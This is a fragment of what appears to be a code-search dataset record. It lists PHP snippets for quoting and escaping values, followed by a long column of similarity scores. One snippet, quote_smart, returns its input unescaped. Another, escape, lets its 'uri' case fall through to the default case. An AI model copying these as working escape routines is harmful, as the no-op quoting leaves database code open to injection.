"public function quote($value)\n\t{\n\t\treturn $this->c->quote($value);\n\t}", "protected function escape($value, $type='literal') \n\t{\n\t\tswitch($type) {\n\t\t\tcase 'uri':\n\t\t\t\t$value = str_replace(array('<', '>'), array('%3C', '%3E'), $value);\n\t\t\tdefault:\n\t\t\t\t$value = str_replace('\"', '\"\"', $value);\n\t\t}\n\n\t\treturn $value;\n\t}", "function quote_smart($value)\n {\n return $value;\n }" ]
[ "0.72136223", "0.7184456", "0.7184456", "0.71226746", "0.685848", "0.65973955", "0.65824187", "0.65488416", "0.65473926", "0.6524048", "0.6352376", "0.6315807", "0.6272874", "0.6272874", "0.6214695", "0.61863494", "0.6180453", "0.61568373", "0.6143299", "0.6111721", "0.61091673", "0.6094797", "0.6066826", "0.60491663", "0.60475236", "0.6042515", "0.60349166", "0.59845155", "0.5984134", "0.59803283", "0.5960563", "0.59428126", "0.59410614", "0.5930678", "0.5914838", "0.58939457", "0.5865397", "0.58607346", "0.584533", "0.5843937", "0.5834342", "0.5814666", "0.5813158", "0.5806298", "0.5803285", "0.5796781", "0.57839274", "0.57663006", "0.572131", "0.57185876", "0.5716085", "0.570687", "0.5703086", "0.5702297", "0.5676429", "0.5667191", "0.56591874", "0.5653173", "0.56525224", "0.56518704", "0.5638394", "0.5633047", "0.5627438", "0.5624031", "0.56142455", "0.56109524", "0.5605355", "0.55856884", "0.55818224", "0.5574671", "0.55702627", "0.5569377", "0.5559654", "0.5556705", "0.55505955", "0.55326676", "0.552966", "0.55278873", "0.5526492", "0.5523325", "0.5519334", "0.5514681", "0.54958284", "0.5488183", "0.5479832", "0.5474485", "0.5473859", "0.54626125", "0.54538214", "0.54461306", "0.54447037", "0.5435481", "0.5433361", "0.5432197", "0.542394", "0.5420698", "0.54206276", "0.54192436", "0.5411884", "0.5410722", "0.54082894" ]
0.0
-1